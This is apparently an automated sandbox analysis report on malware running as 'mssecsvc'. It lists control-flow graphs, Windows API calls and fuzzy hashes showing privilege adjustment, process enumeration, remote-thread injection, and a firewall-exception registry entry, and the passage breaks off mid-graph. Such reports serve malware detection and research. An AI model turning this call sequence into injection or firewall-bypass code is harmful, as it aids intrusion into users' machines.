                      control_flow_graph 213 c1116f-c11187 LoadLibraryA call c11196 216 c111f2 213->216 217 c11189 213->217 218 c111f4-c111f8 216->218 217->218 219 c1118b-c11192 217->219 221 c111f9-c1120f 218->221 220 c11194-c111a0 219->220 219->221 224 c111a2-c111b9 220->224 225 c111c9-c111d8 220->225 222 c11211-c11215 221->222 223 c111ef 221->223 226 c11217-c1121e 222->226 227 c1127f-c11282 222->227 230 c111f1 223->230 231 c1125f-c11277 223->231 234 c111bb-c111c7 224->234 225->234 235 c111da-c111dc 225->235 232 c111e0-c111ec 226->232 233 c11220-c11230 226->233 236 c11283-c11286 227->236 230->216 232->223 241 c1123f-c1125c 233->241 234->225 235->232 238 c11287-c112a1 236->238 243 c112a3-c112a4 238->243 241->231 244 c112a7-c112aa 243->244 246 c112f9 244->246 247 c112ac-c112ad 244->247 249 c112db-c112dd 246->249 250 c112fb-c11301 246->250 247->227 248 c112af-c112bd 247->248 248->241 254 c112bf 248->254 249->227 253 c112df-c112e1 249->253 250->243 255 c11303-c11305 250->255 256 c112c3-c112c5 253->256 257 c112e3-c112e5 253->257 254->256 260 c11337-c11339 255->260 261 c11307-c11309 255->261 258 c11327-c11329 256->258 259 c112c7-c112c9 256->259 257->261 262 c112e7-c112e9 257->262 263 c1132b-c1132d 258->263 268 c1136b-c1136d 258->268 265 c1130b-c1130d 259->265 266 c112cb-c112cd 259->266 260->263 264 c1133b-c1133d 260->264 261->265 267 c1131b 261->267 269 c1127b 262->269 270 c112eb-c112ed 262->270 263->248 278 c1132f-c11331 263->278 273 c113af-c113b0 264->273 274 c1133f-c11345 264->274 276 c1136f-c11371 265->276 277 c1130f-c11311 265->277 266->227 275 c112cf-c112d1 266->275 267->258 268->276 279 c1138f 268->279 269->227 271 c1135f-c11361 270->271 272 c112ef-c112f1 270->272 271->255 283 c11363-c11364 271->283 272->283 284 c112f3-c112f5 272->284 289 c113c7-c113d5 273->289 291 c11347-c11349 274->291 293 c11387-c1138e 274->293 275->236 287 c112d3-c112d5 275->287 280 c11313-c11315 276->280 281 c11373-c11375 276->281 277->280 288 c11383 277->288 278->257 282 c11333-c11335 278->282 286 c11393-c1139e 279->286 280->244 296 c11317-c11319 280->296 281->289 290 c11377-c11379 281->290 282->260 282->291 292 c112f7-c112f8 283->292 297 c11367-c11369 283->297 284->238 284->292 294 c1139f-c113a7 286->294 287->244 295 c112d7 287->295 288->293 305 c113f7-c113f9 289->305 306 c113d7-c113e5 289->306 298 c113ab-c113ac 290->298 299 c1137b-c1137d 290->299 291->264 300 c1134b-c1134d 291->300 292->246 293->279 294->298 295->249 296->267 296->300 297->264 297->268 298->273 302 c113ed-c113f6 299->302 303 c1137f-c11382 299->303 300->253 304 c1134f-c11355 300->304 302->305 303->288 304->292 314 c11357-c11359 304->314 308 c1145b-c11474 NtAdjustPrivilegesToken 305->308 309 c113fb-c113fd 305->309 306->305 311 c113e7-c113e9 306->311 309->294 313 c113ff-c11401 309->313 311->308 312 c113eb-c113ec 311->312 312->302 313->286 316 c11403-c11404 313->316 314->263 317 c1135b-c1135d 314->317 318 c11407-c1140a 316->318 319 c1141f 316->319 317->271 317->304 318->319 319->308
                      APIs
                      • LoadLibraryA.KERNEL32(00C11162,00C10796,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C1116F
                        • Part of subcall function 00C11196: GetProcAddress.KERNEL32(00000000,00C11180), ref: 00C11197
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressLibraryLoadProc
                      • String ID: \rpntVt
                      • API String ID: 2574300362-4121501683
                      • Opcode ID: c604259fa95c2ab35eea9b5c13384fa299e63711845cb15e241eebe2c7e860d6
                      • Instruction ID: c5401a2bed0e3da44fd89dc681ae6f95e1821692bf79136d2166484a7c0e7caf
                      • Opcode Fuzzy Hash: c604259fa95c2ab35eea9b5c13384fa299e63711845cb15e241eebe2c7e860d6
                      • Instruction Fuzzy Hash: 81817861C1C6825EC735AA7448054EDBFA6EA3371075C569DCFB08BD67C22E8FC3A242
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C1252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 320 c1252f-c12573 NtOpenSection
                      APIs
                      • NtOpenSection.NTDLL(?,0000000E), ref: 00C1255E
                      Strings
                      • \BaseNamedObjects\rpntVt, xrefs: 00C1254B
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: OpenSection
                      • String ID: \BaseNamedObjects\rpntVt
                      • API String ID: 1950954290-3616129831
                      • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                      • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                      • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                      • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C12574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 321 c12574-c1257c call c1252f 324 c12661-c12664 321->324 325 c12582-c125b4 NtMapViewOfSection FindCloseChangeNotification 321->325 325->324 326 c125ba-c125c0 325->326 327 c125c2-c125cb 326->327 328 c125ce-c125d8 326->328 327->328 329 c125da-c125e2 328->329 330 c125ef-c1262a call c12477 * 3 328->330 329->330 331 c125e4-c125ea call c12477 329->331 339 c12637-c1263f 330->339 340 c1262c-c12632 call c12477 330->340 331->330 342 c12641-c12647 call c12477 339->342 343 c1264c-c12654 339->343 340->339 342->343 343->324 345 c12656-c1265c call c12477 343->345 345->324
                      APIs
                        • Part of subcall function 00C1252F: NtOpenSection.NTDLL(?,0000000E), ref: 00C1255E
                      • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 00C125A4
                      • FindCloseChangeNotification.KERNELBASE(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,00C10815), ref: 00C125AC
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Section$ChangeCloseFindNotificationOpenView
                      • String ID:
                      • API String ID: 1694706092-0
                      • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                      • Instruction ID: 774ae2dd1c0c1df4cdbb4c193bf6c090d6d31e2396e7c2398bfc5e7eb64521ac
                      • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                      • Instruction Fuzzy Hash: 12211A78300546BBDB28DE25CC96FE97369AF81744F400118F8698E1D4DBB1AFB4EB18
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C11422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 347 c11422-c11474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                      APIs
                      • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00C1145A
                      • NtAdjustPrivilegesToken.NTDLL(?,?,00000000,?), ref: 00C1146A
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                      • String ID:
                      • API String ID: 3615134276-0
                      • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                      • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                      • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                      • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C12477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 348 c12477-c124ad NtProtectVirtualMemory NtWriteVirtualMemory
                      APIs
                      • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00C1249B
                      • NtWriteVirtualMemory.NTDLL ref: 00C124A4
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: MemoryVirtual$ProtectWrite
                      • String ID:
                      • API String ID: 151266762-0
                      • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                      • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                      • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                      • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C1144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 349 c1144a-c11474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                      APIs
                      • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00C1145A
                      • NtAdjustPrivilegesToken.NTDLL(?,?,00000000,?), ref: 00C1146A
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                      • String ID:
                      • API String ID: 3615134276-0
                      • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                      • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                      • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                      • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C107AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 133 c107ac-c107bf call c1144a FreeLibrary FindCloseChangeNotification 136 c107c5-c107e4 CreateToolhelp32Snapshot Process32First 133->136 137 c107eb-c107f5 Process32Next 136->137 138 c10865-c10872 FindCloseChangeNotification 137->138 139 c107f7-c107fb 137->139 140 c105a9-c105d1 FindCloseChangeNotification 138->140 139->137 141 c107fd-c1080d OpenProcess 139->141 145 c105d3-c105fc SetProcessAffinityMask call c105f2 140->145 141->137 142 c1080f 141->142 144 c10810-c10818 call c12574 142->144 150 c1081a-c10820 144->150 151 c1085c-c10863 FindCloseChangeNotification 144->151 153 c10621-c10623 145->153 154 c105fe-c1061c 145->154 150->151 152 c10822-c10832 150->152 151->137 152->151 155 c10834-c1084b CreateRemoteThread 152->155 156 c10625-c10630 153->156 157 c1064c-c10652 153->157 154->153 155->151 158 c1084d-c10857 call c105ba 155->158 159 c10632 156->159 160 c10639-c10648 156->160 157->140 161 c10658-c10671 157->161 158->151 159->160 160->157 161->140 163 c10677-c10690 161->163 163->140 164 c10696-c1069c 163->164 165 c106d8-c106de 164->165 166 c1069e-c106b1 164->166 168 c106e0-c106f3 165->168 169 c106fc-c10715 lstrcpyW call c124ae 165->169 166->140 167 c106b7-c106bd 166->167 167->165 170 c106bf-c106d2 167->170 168->169 171 c106f5 168->171 174 c10717-c10746 GetPEB lstrcpyW lstrcatW call c124ae 169->174 175 c1074c-c10775 NtMapViewOfSection 169->175 170->140 170->165 171->169 174->140 174->175 175->140 177 c1077b-c1078f call c10305 NtOpenProcessToken 175->177 177->136 181 c10791-c107a3 call c1115d call c107ac 177->181 186 c107a5 181->186 187 c1080e-c1080f 181->187 186->144 188 c107a7-c107e4 CreateToolhelp32Snapshot Process32First 186->188 187->144 188->137
                      APIs
                        • Part of subcall function 00C1144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00C1145A
                        • Part of subcall function 00C1144A: NtAdjustPrivilegesToken.NTDLL(?,?,00000000,?), ref: 00C1146A
                      • FindCloseChangeNotification.KERNELBASE(?), ref: 00C105AD
                      • FreeLibrary.KERNEL32(76DF0000,?,00C1079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C107B8
                      • FindCloseChangeNotification.KERNELBASE(?,?,00C1079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C107BF
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C107C9
                      • Process32First.KERNEL32 ref: 00C107DC
                      • Process32Next.KERNEL32 ref: 00C107ED
                      • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C10805
                      • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00C10842
                      • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00C1085D
                      • FindCloseChangeNotification.KERNELBASE ref: 00C1086C
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: ChangeCloseFindNotification$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                      • String ID: csrs
                      • API String ID: 238827593-2321902090
                      • Opcode ID: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                      • Instruction ID: c9a7ef158395ea4e7e66b05de35b298d8dc3ef8166c96f66df515c901e3d835d
                      • Opcode Fuzzy Hash: cb63e8b7f3a99e4be573476feab88a83968f02cd0365d5f729e494595204ac2c
                      • Instruction Fuzzy Hash: 8C113030505209FBFB255F21CC49BFF3A6DEF46701F10012CFD4A99081C6B49F81AAAA
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA4499 Relevance: 7.6, APIs: 5, Instructions: 83fileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 190 7fea4499-7fea44a1 191 7fea44c8-7fea4504 CreateFileA 190->191 192 7fea44a3-7fea44ad GetFileAttributesA 190->192 199 7fea4506-7fea451f 191->199 200 7fea4527-7fea454d 191->200 192->191 193 7fea44af-7fea44c0 SetFileAttributesA 192->193 193->191 195 7fea44c2 193->195 195->191 199->200 203 7fea4521 199->203 205 7fea4558-7fea4582 CreateFileMappingA 200->205 206 7fea454f-7fea4556 200->206 203->200 209 7fea458d-7fea45a2 MapViewOfFile 205->209 210 7fea4584-7fea458b 205->210 206->205 212 7fea45a8-7fea45ae 209->212 210->209
                      APIs
                      • GetFileAttributesA.KERNELBASE(?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44A4
                      • SetFileAttributesA.KERNELBASE(?,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44B8
                      • CreateFileA.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44ED
                      • CreateFileMappingA.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA4565
                      • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA459A
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AttributesCreate$MappingView
                      • String ID:
                      • API String ID: 1961427682-0
                      • Opcode ID: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                      • Instruction ID: 5241e261c6a8b1a9cf08daa61a461fa69fc83fe37cd40be9c894cf7c8eac2c63
                      • Opcode Fuzzy Hash: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                      • Instruction Fuzzy Hash: E62112B0205309BFEF219E658D45BFA366DAF01619F500229E91A9E0A4D7F5AF058728
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C105BA Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 350 c105ba-c105bd 351 c105c9 350->351 352 c105bf-c105c7 Sleep 350->352 352->350
                      APIs
                      • Sleep.KERNELBASE(0000000A,00C1085C,?,00000000,00000000,-00003C38,00000002,00000000,?,00000000), ref: 00C105C1
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep
                      • String ID:
                      • API String ID: 3472027048-0
                      • Opcode ID: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                      • Instruction ID: 05ccfcd6afa57312dc6e5f03557061aef33918b9d63c4dffc5dba09a8497b22b
                      • Opcode Fuzzy Hash: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                      • Instruction Fuzzy Hash: 62B0122824430095DA144910450DB84163B7F02B12FF0005AE2064C0C007E407C03C0D
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Non-executed Functions

                      Function 7FEA3C3D Relevance: 46.0, APIs: 21, Strings: 5, Instructions: 487libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 509 7fea3c3d-7fea3c59 510 7fea3c5b-7fea3c63 509->510 511 7fea3ca9-7fea3cb3 call 7fea252f 509->511 513 7fea3c64-7fea3c67 510->513 518 7fea3cfb-7fea3d43 GetSystemDirectoryA call 7fea3d1f 511->518 519 7fea3cb5-7fea3cce call 7fea3cc2 511->519 515 7fea3c69-7fea3c6e 513->515 516 7fea3c93 513->516 515->516 520 7fea3c70-7fea3c91 515->520 516->513 517 7fea3c95-7fea3d43 GetWindowsDirectoryA call 7fea3d36 516->517 530 7fea3d45-7fea3d72 GetProcAddress LoadLibraryA 517->530 518->530 528 7fea3cd4-7fea3cdc GetProcAddress 519->528 529 7fea3ccf call 7fea26d4 519->529 520->516 531 7fea3cde 528->531 532 7fea3ce0-7fea3d43 call 7fea3cf0 528->532 529->528 533 7fea3d7d-7fea3dc0 call 7fea01cb GetTickCount call 7fea3b76 530->533 534 7fea3d78 call 7fea10ce 530->534 531->532 532->530 541 7fea3dc8-7fea3dcd call 7fea3b76 533->541 542 7fea3dc2 533->542 534->533 545 7fea3dcf-7fea3de6 541->545 542->541 546 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 545->546 551 7fea3dfa-7fea3dfc 546->551 552 7fea3dfe-7fea3e1a call 7fea63a0 546->552 553 7fea3e1b-7fea3e1c 551->553 552->553 553->546 556 7fea3e1e-7fea3e24 553->556 556->545 557 7fea3e26-7fea3e30 call 7fea273c 556->557 560 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 557->560 561 7fea3e32-7fea3e3a call 7fea2750 557->561 565 7fea3e7a-7fea3e80 560->565 566 7fea3e82-7fea3e88 560->566 561->560 567 7fea3e91-7fea3e9e 565->567 566->567 568 7fea3e8a 566->568 569 7fea3ea4-7fea3ec8 call 7fea3eb5 567->569 570 7fea3f25 567->570 568->567 571 7fea3f2f 569->571 579 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 569->579 570->571 573 7fea3f4f-7fea3f73 call 7fea3f60 571->573 574 7fea3f31-7fea3f49 CreateThread CloseHandle 571->574 580 7fea3f7e-7fea3fad call 7fea3f8f 573->580 581 7fea3f79 call 7fea10ce 573->581 574->573 579->570 585 7fea3f20 call 7fea3405 579->585 587 7fea3faf-7fea3fd1 580->587 588 7fea3fd6-7fea3ff8 CreateThread CloseHandle 580->588 581->580 585->570 589 7fea3ffa-7fea400b CreateEventA 587->589 590 7fea3fd3 587->590 588->589 591 7fea4012-7fea402a call 7fea37fa 589->591 590->588 594 7fea402c-7fea402f 591->594 595 7fea4031-7fea4044 call 7fea3b90 591->595 594->595 596 7fea404c-7fea4054 594->596 601 7fea404a 595->601 602 7fea42be-7fea42c5 595->602 599 7fea4056-7fea4063 lstrlen 596->599 600 7fea4065-7fea406e gethostbyname 596->600 599->599 599->600 603 7fea4074-7fea407b 600->603 604 7fea4315-7fea431b 600->604 607 7fea4081-7fea40a0 socket 601->607 605 7fea4320-7fea4322 RtlExitUserThread 602->605 606 7fea42c7-7fea42ce 602->606 603->607 604->591 609 7fea42e2-7fea42e9 606->609 610 7fea42d0-7fea42dc SetEvent 606->610 607->602 608 7fea40a6-7fea40b9 connect 607->608 611 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 608->611 612 7fea42b7-7fea42b8 closesocket 608->612 613 7fea42eb 609->613 614 7fea42f2-7fea4310 Sleep ResetEvent 609->614 610->609 625 7fea4170 611->625 626 7fea4195-7fea41a5 call 7fea3358 611->626 612->602 613->614 614->591 628 7fea4192-7fea4194 625->628 629 7fea4172-7fea418c wsprintfA 625->629 632 7fea41c3-7fea41ca 626->632 633 7fea41a7-7fea41bd CreateThread CloseHandle 626->633 628->626 629->628 631 7fea418e 629->631 631->628 634 7fea41d0-7fea41eb 632->634 633->632 636 7fea41ed-7fea41f4 634->636 637 7fea4210-7fea4214 634->637 636->637 638 7fea41f6-7fea4207 GetTickCount 636->638 637->612 639 7fea421a-7fea421c 637->639 638->637 640 7fea4209 638->640 641 7fea421e-7fea4236 639->641 640->637 642 7fea423b-7fea4243 641->642 643 7fea4238 641->643 642->641 644 7fea4245 642->644 643->642 645 7fea424b-7fea424f 644->645 646 7fea4261-7fea4263 645->646 647 7fea4251-7fea4258 call 7fea2f08 645->647 648 7fea4265-7fea426f 646->648 647->612 653 7fea425a 647->653 650 7fea4274-7fea4282 call 7fea6541 call 7fea655b 648->650 650->634 658 7fea4288-7fea4292 Sleep 650->658 653->648 655 7fea425c-7fea425f 653->655 655->645 658->650 659 7fea4294-7fea42a5 GetTickCount 658->659 659->634 660 7fea42ab-7fea42b2 659->660 660->612 660->634
                      APIs
                      • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,00000104), ref: 7FEA3CA1
                      • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                      • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                      • GetTickCount.KERNEL32 ref: 7FEA3D93
                      • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 7FEA3EE2
                      Strings
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 1749273276-3895273077
                      • Opcode ID: f516923bb6111dac5ea2ce27cbf4c730b644d8035d3db586d383e9b78a19a3eb
                      • Instruction ID: 6856dd48e4ced1a9f2286be03aa6e2628cc93b41bccce76cbf3563a38adebb89
                      • Opcode Fuzzy Hash: f516923bb6111dac5ea2ce27cbf4c730b644d8035d3db586d383e9b78a19a3eb
                      • Instruction Fuzzy Hash: 10020571419348BFEB229F748C4ABEA7BACEF41304F004559EC4A9E081D7F66F4597A2
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13C3D Relevance: 46.0, APIs: 21, Strings: 5, Instructions: 487libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 358 c13c3d-c13c59 359 c13ca9-c13cb3 call c1252f 358->359 360 c13c5b-c13c63 358->360 368 c13cb5-c13cce call c13cc2 359->368 369 c13cfb-c13d43 GetSystemDirectoryA call c13d1f 359->369 361 c13c64-c13c67 360->361 363 c13c93 361->363 364 c13c69-c13c6e 361->364 363->361 367 c13c95-c13d43 GetWindowsDirectoryA call c13d36 363->367 364->363 366 c13c70-c13c91 364->366 366->363 377 c13d45-c13dc0 GetProcAddress LoadLibraryA call c110ce call c101cb GetTickCount call c13b76 367->377 378 c13cd4-c13cdc GetProcAddress 368->378 379 c13ccf call c126d4 368->379 369->377 390 c13dc2 377->390 391 c13dc8-c13dcd call c13b76 377->391 380 c13ce0-c13d43 call c13cf0 378->380 381 c13cde 378->381 379->378 380->377 381->380 390->391 394 c13dcf-c13de6 391->394 395 c13de8-c13df8 call c163a0 call c1273c 394->395 400 c13dfa-c13dfc 395->400 401 c13dfe-c13e1a call c163a0 395->401 403 c13e1b-c13e1c 400->403 401->403 403->395 405 c13e1e-c13e24 403->405 405->394 406 c13e26-c13e30 call c1273c 405->406 409 c13e32-c13e3a call c12750 406->409 410 c13e3f-c13e78 call c1273c GetVolumeInformationA 406->410 409->410 414 c13e82-c13e88 410->414 415 c13e7a-c13e80 410->415 416 c13e91-c13e9e 414->416 417 c13e8a 414->417 415->416 418 c13f25 416->418 419 c13ea4-c13ec8 call c13eb5 416->419 417->416 420 c13f2f 418->420 419->420 428 c13eca-c13f1e GetModuleFileNameA wsprintfA 419->428 422 c13f31-c13f49 CreateThread CloseHandle 420->422 423 c13f4f-c13fd1 call c13f60 call c110ce call c13f8f 420->423 422->423 437 c13fd3-c13ff8 CreateThread CloseHandle 423->437 438 c13ffa-c1400b CreateEventA 423->438 428->418 433 c13f20 call c13405 428->433 433->418 437->438 439 c14012-c1402a call c137fa 438->439 442 c14031-c14044 call c13b90 439->442 443 c1402c-c1402f 439->443 451 c1404a 442->451 452 c142be-c142c5 442->452 443->442 444 c1404c-c14054 443->444 446 c14065-c1406e gethostbyname 444->446 447 c14056-c14063 lstrlen 444->447 449 c14315-c1431b 446->449 450 c14074-c1407b 446->450 447->446 447->447 449->439 453 c14081-c140a0 socket 450->453 451->453 454 c14320-c14322 RtlExitUserThread 452->454 455 c142c7-c142ce 452->455 453->452 456 c140a6-c140b9 connect 453->456 457 c142d0-c142dc SetEvent 455->457 458 c142e2-c142e9 455->458 459 c142b7-c142b8 closesocket 456->459 460 c140bf-c1416e call c1273c call 